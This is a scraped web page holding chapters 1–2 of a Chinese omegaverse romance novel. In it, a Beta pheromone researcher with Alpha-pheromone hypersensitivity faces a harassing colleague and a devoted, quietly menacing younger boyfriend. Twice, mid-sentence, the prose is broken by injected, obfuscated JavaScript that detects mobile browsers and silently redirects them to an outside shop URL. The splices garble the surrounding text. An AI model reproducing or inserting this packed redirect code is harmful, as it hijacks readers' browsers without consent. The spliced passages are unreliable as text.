《Beta他身陷双A修罗场》 1. 第 1 章 信息素,Alpha信息素,铺天盖地压向他。 像野兽将猎物皮毛舔得湿漉,欺负够了,才一口咬住后颈,叼着再不肯放。 殊景疼得发抖,却动不了,“停下…我有男朋友…” “男朋友?” 身后的人不仅没停,反而嵌合更深。 嗓音低沉带喘,“他是男朋友…那我呢?…未婚夫?” …… 殊景猛然惊醒。 窗帘透进晨光,公寓寂静,只有窗外偶尔传来的车声。 他躺在床上,看着天花板,眼神失焦。 画面与声音很快模糊。 他已经想不起梦的内容,只觉得有些荒唐,身体还在隐隐作痛。 殊景轻叹一声,拿手背遮住眼。 最近总被迫接触Alpha信息素,是该警惕了。 宁川市,十二月。 这座南方旅游小城,才刚进入冬季。 路边常绿带结了一层霜,殊景从公交车上下来,穿过自行车道,迎面扛着书包的少年脚踩滑板飞驰而过。 殊景回头看去,那身影已经滑远。 他继续前行,走进试验田,同事们陆续到了,偶尔有人朝他打招呼,殊景稍点头,答声“早”。 09区,环境监测屏显示:室内温度17℃,湿度42%。 责任组别:Alpha非注射式外用抑制剂(I型安抚剂)项目。 组长:殊景。 殊景穿梭在苗床架间,偶尔停下,俯身检查植株,晨叶新鲜,叶尖沁出的露水沾湿领口,他浑然不觉,专注做记录。 “原材料生长良好,等溶剂到位,多制备点样品,就能开始活体实验了…” “前辈是在说降C溶剂吗?” 声音突兀地响在身后,殊景才发现旁边的组员不在了,来的是另一个项目组的负责人邢旸。 他口中的降C溶剂,是一种稀有反应介质,对殊景正在研发的安抚剂而言,必不可少。 但降C溶剂只能从野生植物银针草中萃取,产量极其有限。 “我刚申请了两支,早知前辈要用,我就不申请了…”邢旸靠近殊景,“但是所里总共就这些,如果我不申,按优先级也会被别人抢到。” 从首都调职到地方研究所已经三年,殊景至今还是组长,邢旸才来半年,职级却已在他之上。 殊景神色淡淡,正要去拿架子上的营养液。 邢旸抢先一步取下来,“当然,如果前辈需要…我很乐意拱手相让。” 营养液被递到手边,殊景没有接,只把笔别回胸前,站直身体。 同样的实验服白大褂,同样的口罩遮住半张脸,可偏偏是他,这一抬眼—— 秋水寒江,清极入画。 “……”邢旸盯着他,语气不由地放慢,“不过我遇到点问题,想请前辈帮忙,方便去看看吗?” 09区往外,是另一片试验田。 这座自动化农业生产基地隶属市研究所,公私合营,部分外包给了商家和农户,经营观赏花卉和经济作物。 今天是贸易日,集市区已支起许多临时摊位。 各种植物气味纷至沓来,殊景捏了捏口罩边缘,眼前忽然闯进一片糯粉。 “客人看看花呗,新品种,摆在床头安神效果特好,对Omega腺体也有舒缓作用…” 是个Alpha摊主,捧着束花站在那里。 邢旸眼神流露一丝微妙,殊景表情没什么变化,仅仅礼貌婉拒。 正要走过集市区,他脚步却蓦地一顿。 有熟悉的气味,是新鲜可可粉,混在花香里很难分辨,但殊景能闻到。 “前辈,这里。” 培育间的门打开,那种可可味被盖过。 邢旸所说的问题来自一株名贵药用红兰,透过玻璃罩,可以看见兰叶已经发软起皱,尖端黄褐,花苞也垂下了头。 殊景戴上手套,从观察窗检查栽培基质,“什么时候出现症状的?” “昨天下午。” “温湿度有过变化?” “空调检修,但只停了两小时。” 殊景看向不远处,那里有两盆新进的绿植,“是雾杉的原因,环境波动造成油脂变性挥发,这两种植物不能放在一起。” 操作员用探照镜拍下红兰叶片背面,放大后那点油斑才勉强看清,“对不起,我疏忽了!” “还能补救。” 殊景转身调配药剂,实验服宽大,愈发显出背影清瘦,却让看着的人莫名安下心。 但也有相反的声音。 “…有把握吗?我们都搞不定…万一弄坏了…这是首都来的订单,上面很重视…” 殊景指尖轻托叶稍,拿棉签沾取药液,小心涂抹清理。 半小时过去,兰叶竟真的坚.挺起来。 “每株植物都值得重视。”他低声舒了口气。 培育间潮热密闭,因为弯腰太久,殊景身上有些出汗,微湿黑发黏着额角,抬起袖子擦拭时,在鼻尖留下点花土。 顶棚玻璃透进阳光,那点泥土沾着皮肤绒毛,就像落在剔透雪上。 刚才还冷眼旁观的人,不知怎么,都没了动静。 好半晌才有人道,“殊研究员是做信息素项目的,没想到对植物养护也这么精通。” 殊景只注意着红兰,熟练分装药剂,旁人的褒贬注视,于他就像空气。 “会一点,不算精通。后续操作我记在备忘里了,滴注法给药,光度调到60%,持续十小时,如果黄化没扩大,过后可以缩减到六小时,还有问题随时联系我。” …… 培育间外,殊景在水池边洗手。 “还是前辈厉害。”邢旸的声音很近。 大棚膜布被风吹得簌簌作响,这片区域安静异常,没有旁人。 殊景刚打算直接提溶剂的事,忽然退后一步。 邢旸的手顿在半空,“你这里沾了土,我帮你擦掉。” 殊景微怔,“不用,谢谢。” “……”邢旸笑了笑,收回动作,状似闲聊般提起刚才集市的事,“其实我第一天看见前辈,也认错了。” 他说话时,姿态得体。 信息素却有明确指向地、开始蔓延。 殊景皱眉。 因为长相,他总被人错认为Omega,但他是Beta,Beta理应闻不到信息素,可殊景不同,他有缺陷。 十八岁分化为Beta那年,他同时确诊了罕见病,Alpha信息素超感症。 他知道邢旸的信息素等级是A,柏木味,当前浓度926PU,超过安全阈值。 达到500PU的Alpha信息素都能被殊景感知,而理论上,800以上的针对性释放,等同于“骚扰”。 换句话说,邢旸现在虽然什么都没做,信息素的手已经摸上来了。 如果殊景是Omega,这时恐怕会有生理反应,但他不会,他只会读取那些数值。 对一个信息素研究员而言,这简直像天赋,可是不然。 没有Omega腺体,殊景理解不了信息素的含义。不会被挑逗,却也无法抵抗,只能任由它们从每一处皮肤毛孔,长驱直入。 现在,殊景全身都疼。 信息素触到他小臂,舔舐残留的水珠,正沿袖口廓形渗进织物缝隙,攀上被白色衣料勾勒的、不堪一握的腰线。 像鬣狗,嗅着腥味儿,在自己找路。 而邢旸扶了扶鼻梁上的眼镜,依旧一派人模人样。 后边就是水台,殊景没法退。 他也没有退,放在口袋中的手握住里面的小瓶,按动瓶塞,不动声色朝周围轻喷了一下。 这是他的另一个秘密,隐藏在安抚剂研究背后的,信息素屏蔽剂。 首支样品,殊景自己是第一个,也将是唯一一个实验体。 邢旸没察觉,“…我看过有研究,说少数Beta也有腺体,只是没发育,如果加以刺激…” 殊景敛下眼睫,原本就因过度加班,而在眼底浮着的淡淡乌青,更加笼上阴影。 看起来,脆弱极了。 Alpha终于朝他逼近…… 殊景睫毛一颤,信息素浓度下降了?明明距离在缩短。 是屏蔽剂的效果? 但只有这刹那,就开始回升,不知是对方加大了释放,还是起效有限,暂时无法判断。 殊景一心检验屏蔽剂,不知道邢旸正露骨地锁着他颈后,被白色领子遮蔽的地方。 “比如,让高等级Alpha咬腺体,信息素越强,越有可能…变成Omega…” 这句话,让殊景眼神骤然变了。 信息素浓到刺鼻,他手指松开那支屏蔽剂,还有别的东西。 口袋另一边,是一支采样针,空心的,很细,扎进皮肤不会留太大痕迹。 如果扎对地方,足够让一个A级在三十秒内丧失行动力。 殊景在野外考察时学过怎么用,对付野兽。 他缓缓抽出那支针…… 就在这时,信息素樊笼破溃。 殊景还没看清发生什么,邢旸已经摔出去。 四周都是板材,他后背正正撞上钢柱,发出一声巨响。 殊景原本要反击,这时也被惯性带得前扑,差点跌倒前,脸颊先贴上一堵“墙”。 睫毛扫过处,有什么东西跳了一下。 感官被信息素干扰,殊景有些迟钝,愣了两秒,才反应过来。 面前是一具男性的胸膛,体温透过衣料,带着热意的苦香缠绕上来,将他身上的柏木味冲散。 在集市闻到过,那种新鲜可可粉。 大棚被晨曦染上暖橘,逆着光,殊景视野模糊。 他刚仰起头,对方就立即弯下一点身体,仿佛为了让他不用仰得太累。 光线偏转,映亮半边眉眼,年轻,英俊,睫毛垂下来显得很温顺。 “祈继?”殊景唤出这个名字。 青年乖巧地点头:“哥哥。” 护在殊景腰后那只手,因为才揍过人,手背还浮着青筋,动作却极轻柔。 等他借力站稳,那截指尖盘桓了一下,像舍不得,然后松开。 殊景刚想问“你怎么在这里”,祈继忽然笑了。 他掏出手机,用后置镜头对着殊景拍了张照片,递到他面前。 “鼻子,这里…” 看到照片里的自己,殊景才知道脸上真的沾了脏东西,他擦了擦,还是没完全抹干净。 殊景对自己的脸显然并不上心,刚刚那两下,皮肤都蹭出指痕,他鼻尖被撞得有点红,隐藏的一点灰并不突兀,反而为那双清冷眉眼,平添几分荏弱可怜。 祈继忍住上手的冲动,悄悄朝殊景瞥去一眼,飞快将照片划入某个文件夹。 那边,邢旸总算站起来,正要发作,却在看清祈继时微微一震。 殊景知道,祈继的外表很有欺骗性。 邢旸在Alpha里算高的,祈继却比他还高出半个头,清爽简单的连帽衫搭牛仔裤,像没经过社会捶打的大学生,尤其脸上还有两个小梨涡,笑起来格外无害。 但即便再无害,任谁第一眼看见祈继,都会断定这是个Alpha,或者准确说,Alpha崽子,天生透着一股桀骜野性。 Alpha好斗,求偶方面更绝对排他,邢旸到底不想在殊景面前落了下乘,信息素卷土重来。 “哥哥,没事吧?” 听到祈继关切,殊景勉强摇头,“这里…太闷了。”是信息素的味道太冲。 祈继立刻扶住他往外走。 “前辈,你不想要溶剂了?” 殊景脚步一顿。 祈继仿佛才想起这里还有个人,他转回头,目光漫不经心,眼尾弯着,从殊景的角度看是还在笑。 邢旸却被这一眼钉在原地。 更让他惊疑的是,自己全力释放的攻击性信息素,对祈继竟像石沉大海,毫无反应。 这种情况,要么对方等级远高于他,要么…… “你是Beta?”邢旸脱口而出,自动排除前一种猜测,在宁川这种小地方,怎么可能有比他更强的Alpha。 “是啊,Beta,”祈继微挑起点唇,“怎么?” 邢旸不屑,“一个Beta,也配跟我争?” 殊景:“……” 其实他并没有因为这句话有什么反应,祈继却二话不说撸起袖子。 青年肤色偏深,露出的胳膊筋腱分明。 见邢旸往后缩了一步,祈继从鼻子哼出轻笑,“配不配的,还不都是我殊景哥说了算,你连我都打不过,是Alpha又有什么用?只会到处留气味标地盘的话,建议去和狗争。” 殊景轻咳一声。 “哎呀,”祈继不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405120|200463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好意思,检讨般碰碰自己嘴唇,“怎么能在哥哥面前讲粗话呢。” 邢旸愣了两秒,“你骂我?你知道我是谁吗!” “等我想知道的时候,自然就知道了,走,我们出去,不理他。” 身后再传来什么,殊景都没听清,因为有两面掌心贴住了他。 祈继捂着他耳朵,宽厚触感熨帖耳廓,随步伐透进的,只有嗡嗡的鸣音。 穿过廊道就回到试验田,一群同事朝他们看来。 殊景身体微僵。 祈继的手立刻松开,但仍虚放在他脸颊处,随时能收回去的距离。 “哥哥,这些都是你的同事?”他声音压低,“我可以向他们做自我介绍吗?” 殊景余光瞥见人群中另外几个Alpha。 他最终点了头。 得到允许的年轻人绽开笑容,落落大方道,“你们好,我叫祈继,是殊景哥的男朋友。” 四周顿时响起惊呼。 “哇!殊景居然有男朋友了!” “什么时候的事?藏得可真深啊!” “这下所里那些Alpha可要心碎咯…” 殊景垂眼。 手背被谁轻轻碰了一下,然后两根手指插进他指缝,试探的,像在问“可以吗”。 他没有躲,由着祈继握住了他。 十指交扣,皮肤相接的地方很快变得潮湿。 祈继在出汗。 牵手,偶尔拥抱,他们的关系仅此而已。 祈继曾说他是他的初恋,殊景相信。毕竟只有对初恋,才会这么紧张。 众目睽睽,为了让互动更自然,殊景稍靠近些,“你今天怎么会来这里?” “我来采购原料,正好给合作方送产品,趁人多顺便宣传店铺。”祈继耳尖泛红,“稍等我一下。” 不久他提着几个纸袋回来,跑得浑身冒汗。 “一点心意,给同事们分享。” 袋子里都是甜品和饮品,祈继将它们分门别类,整齐码在休息区的置物架上,他甚至还考虑到女生的喜好。 “这些都是用咱们试验田的天然甜味剂做的,加了奇亚籽和红石榴,热量低,放心享用。” “念念家的?最近很火呀!原来老板是个这么年轻的帅哥!” “这些都是你自己做的?” “还有进步空间。” 祈继的谦虚里带一点小骄傲,不惹人讨厌,只在看向殊景时,那点骄傲才收起来,变得格外柔软。 “哥哥那份要单独做,晚上来店里好吗?给你做最喜欢的可可熔岩。” 语气小心翼翼,满含期待,比起约人,更像求人。 同事们起哄:“男朋友待遇就是不一样~” 喧哗的笑声里,殊景那句“今天可能不太方便”卡在喉咙。 “…好。”他回答。 祈继耳朵更红了,喜悦溢于言表,嘴巴咧到耳根固然夸张,却成了此刻最贴切的描述。 而那个字落下,殊景心里却压住一块石头,沉甸甸的。 信息素进入身体很快,代谢却很慢,会反复刺激感官,超感症的后遗症还在,祈继目光也过于热切。 殊景退至一边。 欢笑热闹渐渐远去,回到09区,那瓶营养液近在咫尺,他忽然不想去拿。 祈继只跟到门口,在“非请勿入”的标识前停下。 “哥哥,你还好吗?” “只是有点累。” “那个…溶剂,你是遇到什么…” “一点小麻烦,没事的。” 祈继咬住下唇,脚底踢向一团空气,极小声:“对不起,我是不是…不该说我是你男朋友…” 殊景回头。 祈继耷拉着肩膀,像一只不知道自己哪里做错、但已经开始道歉的小狗。 “不用对不起。”殊景顿了顿,“我们本来…就是在交往了。” “可是…” “下班我会去找你。” 小狗瞬间又扬起讨好的尾巴尖。 殊景避开祈继视线,口袋里的手机适时震了两下。 “抱歉,接个电话。”他转身走进更里面。 没有降C溶剂,研究面临障碍,这才是现在最该在意的事。 祈继看着殊景走远。 他仍站在原地,脸上那层柔光,像被什么一点点抽走。 随着殊景的远离,忽然变得很静。 另一边,邢旸正觉掉面子。 朋友在电话里调侃,“哟,装了三个月学究,终于装不下去了?要么就一直装到底嘛,这么容易破防还不如不装。” “你懂什么。” “要我说,Beta又不能标记,玩玩得了,睡一夜的事儿,凭你还怕摆不平?” 邢旸:“……” “当然如果是Omega的话,确实简单多了…” 邢旸沉默两秒,“那个B转O项目…” 话没说完,后背猛地窜起凉意。 大棚里没有风,不是风吹,像某种爬行类捕食者,湿冷地滑过脊柱。 邢旸失态地低呼一声。 旁边投来目光,他阴沉着脸,快步走到无人处,反复检查自己身后、旁侧、头顶。 什么都没有。 …见鬼了? 十几米外,廊道拐角。 祈继倚墙站定,左手插兜,右手虚握手机,姿态随意。 [宁川市研究所,邢旸…] 敲下这几个字,他慢慢抬眼。 “用哪只手挨的哥哥呢… “哦,信息素啊…那干脆都别要了吧… “不过哥哥会讨厌见血…就让他…社会性死亡好了…看他还敢不敢拿那种脏东西碰哥哥…” 屏幕黑下去的瞬间,映出他半张脸。 唇角弧度还在,但眼睛里的笑不见了。 那是一种很空的眼神,像从很深很深的井底往上望,只有殊景的名字,像井中之月,散着宛宛柔光。 “有句话倒没说错,装么,就装得彻底点。” 殊景一直走到试验田最角落,借助植物气息让自己回复状态,然后解锁屏幕。 弹出的,是两周前的复检报告。 [A型信息素超感症……基因学血样检测……抗性因子值持续升高,代谢速度小于增长速度,已达危险阈值。 严重过敏反应、可引起休克……有猝死风险。] 2. 第 2 章 街角落叶成堆,在路灯下打着旋儿。 车辆驶过,掀起一阵风,殊景站在街边,攥着手机的指节冻得僵硬。 “殊景?还在吗?” “老师…” 殊景唯一能求助的只有导师,中年男人的声线刻板严肃,这时透出淡淡的温和。 “降C溶剂的审批被驳回了,我的权限也受到限制,上面下命令,全院所有资源都要向B转O项目倾斜。” “……”殊景瞳孔微微一颤。 B转O。 时隔三年,又听见这个名词,这个通过药物结合手术、将Beta改造为Omega的项目。 “那场事故不是证明有风险吗,怎么…”现在竟然已经能够堂而皇之走到台前了? 殊景没说完,但他知道导师懂的。 “有风险,也有价值,上面从没真正放弃过这个项目,毕竟社会问题确实越来越严重了。” 尤其最近几年,性别比例进一步失调,Beta最多,Alpha次之,Omega最少,AB结合因此日益普遍,而AB孕育的后代多为AB,又进一步加剧了这种情况。 随之而来的,AB婚姻的问题,家暴、出轨、抑郁……多是因为Alpha无法被Beta安抚,要么信息素狂躁引发暴力,要么长期依赖注射式抑制剂,副作用造成身心障碍。 于是如何帮AB结合中Alpha更安全地度过易感期,成为研究热点。 I型安抚剂与B转O,原本是殊途同归,理应良性竞争,但导师却告诉殊景,如果下个月仍没有实质进展,他的项目可能会被高层裁撤。 殊景不明白:“安抚剂只差一点就要成功了,明明是更优的解决方案…” “就是因为它太优了,他们能给你时间尝试,但不会允许你真的做成…早几年或许可以,但现在,高层大力推进B转O,你的成功会挡了别人的路。” 一句话,让殊景忍不住打了个寒噤。 的确,达到目的如果有两条路,当其中一条更优时,谁会傻到去选另一条? 和Alpha在一起的Beta里,真正愿意变成Omega的又有多少? B转O和安抚剂,本质就是代表两个群体的利益,一个是人数少但占据社会高层的Alpha,一个人数多但被视为“平庸”的Beta。 单从商业价值上,B转O一旦产业化,将形成基因编辑、手术改造、术后康复、以及Omega数量增长带动的抑制剂消费……这是一整套高价值产业链。 安抚剂呢?基础原料只有植物提取素,通过气味生效,无需注射、无痛舒适,势必冲击传统抑制剂市场。 然而,和所有新型药剂一样,安抚剂需要漫长的人体实验周期和公众接受时间,安全性是一定会被Alpha质疑的。 抑制剂虽有副作用,但至少已知、可控。 那个高高在上的群体,是否会愿意屈尊降贵,为Beta尝试另一种全新的东西? 光是想象,就知道很难。 所以看似的更优解,实则不仅动了别人的蛋糕,还埋有可能爆发的闷雷。 两相比较,B转O唯一牺牲的,就只有Beta群体的自主权,毕竟谁又能保证,这项技术扩大后,不会出现被迫改造?黑市里就不会出现被交易的Beta? 甚至,强行生育…… “官方现在迫切需要提高生育率,B转O是首选,他们认为,将Beta转化为生育能力更强的Omega,是解决人口危机和性别失调最高效的方式。” 果然。 导师的话像火星,瞬间点燃殊景压抑的情绪。 “生育率是很多原因造成的,不止是性别,把Beta当成原料变成Omega,这难道不是在说,AO才是值得存在?而我们Beta,就只配被剥夺身份,改造成另一种模样去取悦他们?” 导师叹了口气:“社会就是这样的,这是你我都要面对的现实。” 现实……殊景咀嚼这两个字,“他们Alpha自己都控制不了的东西,为什么要Beta来承担后果?Alpha做不到,凭什么我这个Beta,不能做?” 这句声音不大,散在风里听不分明。 他缓缓地、嘲讽一笑:“还是说,以后,真的只要Alpha签个申请,就可以决定怎样改造伴侣的性别。” 话到这里蓦地顿住,殊景知道自己想起了谁。 他的前任,差点就步入婚姻的那个人。 长久安静后,导师的声音传来,“所以你的研究才更重要,只有成功,才有反驳的底气,如果手里没有牌,是没办法和他们竞争的,我相信你,殊景,你是老师的骄傲。” 夜色里,猛地掠过一道车灯,殊景的视野也像被它撞碎。 不对,他不是老师的骄傲,导师才是他的骄傲。 他的导师,是首都研究院最权威的信息素专家,是所有Beta的灯塔,是平庸的反义词,是独悬高空普渡世人的启明星。 而他殊景,是个平凡人,只想活下去。 研发安抚剂是因为超感症,医生说基因病无药可医,所以他只能自救。 传统阻隔贴仅对AO腺体有用,要隔绝信息素影响,他就得给自己造个随身罩子。 所以他的目标根本不是安抚剂,而是屏蔽剂,可屏蔽剂不具有普适性,不能拿来立项,只能打着安抚剂的幌子。 刚刚那点义正辞严,其实都是基于求生路被截断的恐慌。 那些功名利禄、尔虞我诈殊景都不想参与,他是个自私的胆小鬼,只想救自己。 殊景轻轻吸了一口冰凉的空气,下定决心:“老师,如果正规渠道走不通,我想去找银针草,自制溶剂。” 在一篇文献中,他找到了宁川附近有野生植株可能的生长区域。 “你是说…”导师语气加重,“那是军事管制区。” “所以需要您的帮助。” 他声音坚决,导师沉吟片刻,像是经过艰难权衡,“好吧,近期院里有地质勘测队在附近,可以申请协同考察通行令,但那片森林没有任何后勤保障,设施也荒废很多年,不知道会有什么危险。” “谢谢老师,我可以的,您带我出去过很多次,这次我也能完成得很好。”殊景没有半分退缩。 “…我还是建议,再等等溶剂审批的最终结果。” “没时间了,后续验证都停在这里。” 导师从这话中察觉急迫:“你的病,是不是更严重了?” 殊景咬住嘴唇,他的秘密,除了医生就只有导师知道。 当年被确诊后,父母不在,外公外婆年事已高,而男友……得知他分化为Beta,态度忽然冷淡。 殊景于是将这个秘密藏进心里。 直到导师带他实验时发现他对Alpha信息素异常敏感,导师心细如发又是领域专家,是殊景唯一信任且有希望寻求帮助的人。 听着那边熟悉的、隐含关切的声音,殊景抬眼望向路灯。 那盏灯将他的影子拉得很长,“等待审批的结果就是项目被裁撤,我没有下一个三年可以重头再来了。 “老师,我必须去。” 手机的光从殊景面庞暗下,几片叶子被刮到脚边,他动了动,整个右手已经失去知觉。 两只手忽然从旁伸来,包裹他,连同手机一起将他完全握住。 “哥哥的手好冷。” 祈继一边摩挲搓热,一边低头往掌中呵气,像知道殊景在想什么,他抬起点眼睛,“我看你打完电话,才过来的。” 体贴,有分寸。 因为身高差,祈继替他暖手的时候需要弯腰,发梢蹭过手腕,痒痒的。 殊景想抽回手,但那温度太舒服了,像小时候,母亲用包着热水的毛巾敷着他,他已经很久没有这种感觉了。 “你刚刚一直在那?”殊景嘴唇翕动,白雾在眼前逸散开。 “啊!嗯…也不是,才站了不久。”祈继露出被抓包的腼腆笑容,“我本来还在考虑,要偷偷过来,还是先叫哥哥再过来。” “…偷偷过来…做什么?” 祈继眼睛亮晶晶的,不掺杂质:“抱一下。” 殊景微怔,看了眼那边隐约的人影:“你店里还有客人。” “我的意思是,”祈继嘴唇隔着自己的手碰了碰殊景的指尖,“我原先想,趁你不注意,偷偷来抱一下哥哥的。” “……”殊景错开视线,也同时生硬地岔开话题,“进店里吧,你穿得有点少。” 甜品师制服单薄,祈继身上热量却源源不断,像个小太阳。 店内,殊景习惯坐的位置,已经放好一碟可可熔岩,糕体细腻,散发着浓郁苦香,盘子右下角,“念念”两个字点缀在两颗心上。 念念是这间甜品店的名字,店面不算大,柜台加四套桌椅,布置紧凑温馨。 墙壁被打造成书架,塞满色彩鲜艳的漫画和小说,另一面墙是留言板,贴着便签,都是植物造型,清新活泼。 殊景在祈继的强烈要求下,先舀了一勺熔岩心。 很纯正的可可,很苦,过几秒,甜味才慢慢浮现。 因为超感症,殊景有异于常人的敏锐嗅觉,代价是他的味觉几乎退化。 曾经殊景以为他这辈子就这样了,直到那天,下班路过这家新开张的甜品店。 彼时他初见祈继,以为对方是Alpha,绕着店门走,还是祈继主动追上来,硬塞给他一块试吃的可可熔岩。 苦味撬动他的味觉,也同时撬动他封闭的人际关系,殊景和祈继慢慢熟悉起来。 “今天的,也很好吃。” 听到夸奖,祈继笑得眉眼弯弯,像害羞似的,抬手摸了一下后颈。 “哥哥喜欢就好!” 往常殊景吃东西时,祈继也都坐在对面,为免尴尬,会聊聊今天遇到的趣事见闻。 忽然侃侃而谈的声音停了下来,殊景抬眼,对上那道目光,“我脸上又有什么东西吗?” “还没有,但我在等哥哥嘴角沾上巧克力。”祈继歪头,“书里是这么写的,那样我就可以帮你擦掉了。” 殊景哑然,看向书架上那些漫画和小说封面,忽然有些理解祈继直球率真、偶尔还带点绿茶的表达方式是从哪来的了。 但他也知道祈继是故意逗他,就像今天脸上沾了土,他也只是拍个照片让他看。 “可惜哥哥吃相太斯文了,完全找不到机会啊。” 殊景到底没想出该怎么应答,只能埋头继续吃东西。 爱心形状的可可熔岩,被从边缘刮出小口,银匙递进嘴里,含一下,再抿一下,唇角自然微弯,脸颊有一点鼓起。 祈继托腮看着。 殊景手指修长干净,指甲圆润整齐,是一双科学家的手,穿着白大褂时,气质高冷不容亵渎,穿着灰米色休闲上衣和针织衫时,又很温柔。 无论怎么看,都看不够。 殊景想着事情,被盯了半天,才像意识到什么,慢半拍地抬起眼。 门口风铃响起,有客人进来,祈继起身去招呼。 那是个回头客,特意来预定蛋糕的,在客人面前,祈继并没有弯着腰,虽然他很高,但长相有亲和力,性格又好,并不给人压迫感,反而会觉得可靠。 似乎是个大订单,祈继明显很开心,忙着沟通做记录,空调暖风正对他的头发,几根呆毛支棱着,愈发像某种犬科动物,还是穿可爱甜品师制服和围裙的那种。 忽然那只大狗冷不丁看过来,冲殊景顽皮地眨了下眼。 殊景视线来不及收回,扫过祈继面前的柜面,注意到他加顾客用的是另一部手机。 之所以知道,是因为祈继那部私人手机,前置摄像头位置贴了个卡通兔贴纸。 祈继说,那只小兔是店铺吉祥物,定制的特殊塑料,不影响功能,贴着仅仅因为喜欢。 因为喜欢,这四个字让殊景心头一动。 他放下勺子,盘里已经刮得干干净净,祈继接完新单,正为明天提前做准备。 操作间正对他坐的位置。 等到客人离开,殊景才起身,轻轻敲了敲那面玻璃。 祈继手上拿着工具,探出一颗脑袋。 那几根毛茸茸还翘着,殊景嘴角刚不受控上扬,又迅速压住,“你忙,我先回去了。” 祈继笑盈盈的脸瞬间垮掉,他赶忙放下面粉盆。 殊景没走两步,就被抓住了手腕。 “这就要走吗?” 祈继只来得及擦干净一只手,他用那只手握住的他,没让任何不干净的东西沾在他身上。 殊景发现自己居然能领会这种细节,就像发现自己刚才看着祈继,莫名出了神。 有什么正在悄悄改变。 殊景都不必用力,他只是转了一下手腕,不说话,就足够让祈继松下手劲儿,放任那只手很轻易地从他手中滑脱。 试验田里,当着那么多人,他们都可以十指相扣。 现在是独处时光,却好像隔着遥远的距离。 殊景将手揣进外套口袋。 祈继眼神暗了。 他不笑的时候,殊景会觉得这双眼睛有点熟悉,仿佛在哪里见过。 可他想不起来,因为祈继极少不笑,尤其当面对他。 像现在,祈继眼睛又亮了起来,“哥哥再坐一会儿,就十分钟,”他边说边快步往里走,“我有东西要给你。” 殊景到底没有离开。 就十分钟。 他坐回原处,拿出随身携带的旧笔记本,这个本子跟随他多年,记录着从大学到现在的研究心得,时不时翻一翻,能帮他快速理清思路。 虽然此时的思路和工作无关。 祈继关掉操作间的灯,抱着东西走了过来。 殊景翻动纸页的手顿住,打定主意,无论祈继送什么,他都—— 但没想到,放在桌上的是个崭新的笔记本,封皮用植物纤维压制,组成一幅图案。 草木褪尽水色,凝成冰壳,肃杀冷峭,可仔细看,每道叶脉裂隙里,都藏有姹紫嫣红的颜色。 封面还有一行小字。 [千倾热忱一片月,人间绝色第三重。] 殊景:“……” 这句话是…… 心脏有些跳快。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405121|200463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如果这是任何情侣间常会送的那类礼物,殊景都可以理直气壮拒绝,可偏偏它不是。 祈继甚至搬出“庆祝店铺营业额新高”这种蹩脚的理由。 明知小狗将爪子搭在人手上、讨好地扒拉时,背后多半藏着目的,殊景最终还是将本子放进包里,也答应了祈继顺势提出的、一起回家的请求。 走出念念的门,导师信息在这时过来。 [考察权限通过了。] 殊景心中一喜,打字回复。 祈继在他身后锁门,玻璃门里的光暗下,变成镜面,映出灯火零星的长街。 他看着“镜中”的自己,从衣着、到神态,再勾了一下唇角,像在进行什么肌肉训练。 直到殊景发完信息,马上就要转身望来,祈继才立刻收起那种有些生涩的笑,换成一贯的雀跃表情,快步跑过去。 深夜小城,街道安静,两人并肩走在路灯下。 “刚才那个顾客订蛋糕,是要庆祝他和老婆结婚一周年纪念日,哥哥记得今天是什么日子吗?” 殊景摇头。 “今天也是我和哥哥认识…”祈继忽然改口,“是今年认识的第322天纪念日。” 殊景刚对那个322天略感无奈,又注意到另一个词,“今年?” 他们不就是今年才认识的吗? 祈继笑了笑,这个笑容在夜色里不那么明亮,“我觉得,要是去年、前年,或者很多年以前,就能认识,就好了。” 这话听来傻气。 祈继往前快走两步,转过身,一边倒退一边看着殊景,“要是以后每年这天,都能和哥哥一起过就好了。” 更傻气了。 “哪有322天也算纪念日的?” “323天,也算。” “是不是324天也算?” “当然,325天也算。”祈继目光灼灼,“每一天,都想纪念。” 殊景忽然不敢面对祈继殷切的注视,那太认真了,绝不是开玩笑。 “我…最近要出差。” 他好像只会岔开话题。 祈继也好像永远不介意,他又转而面向前方,任由灯光模糊表情。 “没关系,反正我明天也会留蛋糕的,如果你不来,我就连你的那份一起吃掉,只是可惜要没有新灵感了。” 说起这个,殊景确实发现,祈继做的甜品样式从不重复,哪怕都是可可熔岩,也一定会有区别的小巧思。 “每天上新,不会灵感枯竭吗?” “不会呀,只要看到你,就有源源不断的灵感。” “……”又被扯回来了。 作为年长一方,殊景试图引导:“还有很多东西能带来灵感。” “可我还是想天天看到哥哥,每分每秒都不想和你分开。” 过于直白的话,击碎表面的轻快。 对面是红灯,殊景几乎想直接走过去,他们住的小区虽然离得近,但始终隔着这个路口。 相伴一截,该在这里分开。 “到了…” “我喜欢你!” 空气终于变得稀薄。 喉咙艰涩,有些窒息,殊景心中五味杂陈。他分不清那是些什么,就像他分不清可可熔岩是先苦后甜,还是苦甜交织。 但他知道,祈继是看出他又在划清界限了。 今天当众宣告关系,原本就在殊景预期内,或者更直接地说,他答应交往,就为演这一出公开的戏。 两人距离似乎因此被拉近,可殊景却很清楚,都是假的,于是在对方更进一步时,他退了。 “祈继,”殊景的声音在夜风里清晰,且冷静,“我答应和你交往的时候,就告诉过你。” “嗯,我知道。” 祈继微微笑着,嘴角弧度恰到好处。 “你订‘过’婚,心里有‘过’别人,只是需要一个Beta男友…哥哥说的,我都记得。” 